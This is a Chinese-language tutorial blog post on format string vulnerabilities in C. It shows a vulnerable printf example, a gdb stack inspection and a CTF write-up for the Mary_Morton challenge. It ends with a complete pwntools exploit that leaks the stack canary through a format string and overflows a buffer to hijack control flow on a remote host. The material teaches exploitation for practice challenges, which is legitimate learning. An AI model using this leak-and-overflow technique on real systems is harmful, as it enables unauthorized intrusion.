format_string

介绍什么是格式化字符串函数

众所周知,在初学c语言的时候,有一个不是太离谱的函数叫做printf(),主要就是用来格式化输出一些string,并且可以传一些变量作为参数,动态的输出这些string并且保持格式不变,所以这个函数也叫格式化字符串函数。同时,在c语言中有许多这样类似的格式化字符串函数。众所也周知,c语言是一个漏洞很多的语言,有无限制读入的gets函数,所以,格式化函数当然也有漏洞,今天就来讲讲格式化字符串漏洞。

格式化字符串函数示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>

int main() {

  char s[100];

  int a = 1, b = 0x22222222, c = -1;

  scanf("%s", s);

  printf("%08x.%08x.%08x.%s\n", a, b, c, s);

  printf(s);

  return 0;

}

这个是我从ctf-wiki上扒下来的,如果讲的不好可以去看原文。可以看到printf函数中总共有五个参数,第一个是格式化字符串,后面几个就是动态传参的参数,通过gcc编译一下,把保护关一下

1
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

试运行

很简单的一段c语言代码,这是正常输入的时候会是正常的输出,但是当不正常的输入参数%s就会有特别的事情发生

可以看到有一些不属于我输入,或者缓冲区变量的东西出现了,这么一看,也许是一个地址
接下来,就通过gdb来动态调试一下,看一下到底是啥。在printf出打一个断点,然后运行程序,输入%8x.%8x.%8x 就可以看到程序运行到printf函数就停下了

可以通过stack指令来查看栈上的具体情况

可以看到,栈顶第一个参数,就是main函数的返回地址,往后面四个,就是刚刚的格式化字符串参数

可以看到,已经停在了第二个输出s的printf处,再看一下栈的情况

继续c

可以看到输出的地址,就是栈上依次往后的几位,从0xffffc554开始作为第一个参数,往后两位作为第二,第三位参数输出。

在这插一条关于c语言的小tips:
我们可以通过%n$p来输出格式化字符串函数的第n+1位参数,
例如,输入的是%3$x,

理论是就应该输出第四个参数的地址,继续运行

可以看出,这样的函数,非常容易导致内存泄露,所以漏洞利用点主要就在这,当然在ctf中一般不会单独考察格式化字符串漏洞,主要和别的绕过手段一块考察,例如canary保护开启时,我们可以通过格式化字符串漏洞,读取canary的值,然后添加在payload中,从而绕过canary保护

攻防世界 Mary_Morton

先测试一下

可以看到,第二个函数有循环的功能,并且开启了canary保护,初步猜测应该是利用第二个函数获取canary的地址,然后继续利用第二个或者第一个,或者第三个函数,来进行获取shell操作,那就来看一下ida里面把吧。
function1 存在栈溢出漏洞

funtion2 存在格式化字符串漏洞

和分析不太一样的是,并不是第二个函数有循环功能,而是第三个选项直接退出,否则就一直循环执行。那就选择输入一些数据来测试。选择输入aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

可以看到aaaaaaaa这个参数偏移量是6,也就是第六个参数,在ida中可以看到buf距离rbp是0x90,但是开了canary保护,栈就会有一点变化

应该好理解了哈!所以canary的偏移量应该是aaaaaaaa的偏移量加上0x88/8 也就是6+17 =
23 所以读取canary 也就是%23$p
最后直接给exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(os = 'linux' , arch = 'amd64' , log_level = 'debug')

sh = remote("223.112.5.141", 60201)

# sh = process("./mary_morton")

sh.recv()

sh.sendline("2")

payload1 = "%23$p"

sh.sendline(payload1)

sh.recvuntil(b"0x")

canary = int(sh.recv(16) , 16)

print("canary addr is : " , hex(canary))

offset = 0x88

sh.recv()

sh.sendline("1")

payload = b'a' * offset + p64(canary) + b'a' * 0x8 + p64(0x04008DA)

sh.sendline(payload)

sh.interactive()

format_string
http://st3r665.github.io/2025/03/06/format-string/
作者
St3r
发布于
2025年3月6日
许可协议